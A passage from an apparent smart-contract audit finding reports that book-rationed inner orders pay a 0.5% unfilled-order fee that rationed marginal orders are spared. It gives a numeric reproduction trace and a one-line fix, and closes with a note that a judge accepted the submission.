                rationed = marg && bl.marginalFill > 0;
```

The exemption from the unfilled-order fee covers only the marginal bucket's pro-rata remainder. But _fills can also ration the strictly-inside orders: when the heavier side's matched value `need` is below innerAmt, innerFill = need * 1e18 / innerAmt < 1e18 and the marginal bucket fills nothing. This is reachable because buckets are 60 ticks (0.6%) apart: with buy-heavy clearing at p the scan only guarantees D(p+60) <= S(p), so B(p+60) can be up to about 1.006 x need and innerFill as low as about 0.994e18. Inner orders then keep about 0.6% unfilled through no choice of theirs, and because `rationed` is false for them that remainder pays the 0.5% unfilled-order fee (about 3e-5 of the order) if the pool does not fill it, while an identically rationed marginal order would not. Impact is dust and non-compounding: a consistency gap, not a loss. Fix if wanted: treat !marg && bl.innerFill < ONE as rationed too.

**Reproduction**

Book s, reference 0, buy-heavy. Buyer X: 100 IMD net at bucket 60. Sellers at bucket 0: coin total S = imdToCoin(100e18, sqrt(60)) + 1 wei, so D(60) < S and bucket 60 cannot beat bucket 0 on match. Buyer Y: 1 IMD at bucket 0 (marginal). Scan: at bucket 0, D(0) = 101e18 > S -> match = S, buyHeavy; at bucket 60 match = D(60) < S, so pStar = 0. need = coinToImd(S, sqrt(0)) ~= 99.40e18 < innerAmt = 100e18, so innerFill ~= 0.994e18 and marginalFill = 0. X's claim: bookIn ~= 99.40e18, u ~= 0.60e18 goes to the pool residual; if the pool does not fill it, rationed is false and unfilledFee = divUp(mulDiv(a, u, net) * 50, 10000) ~= 3e15 wei is charged. Expected: a book-rationed remainder comes back whole. Actual: it pays 0.5%. Verified by code trace of _scan (lines 547-556), _fills (lines 667-670) and _outcome (lines 399, 423-428).

---

Judge's submission `4dc2175a4bed3d9917de6ccb7b0f489985031c2a727f89ec276cc8bbeed6f234`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
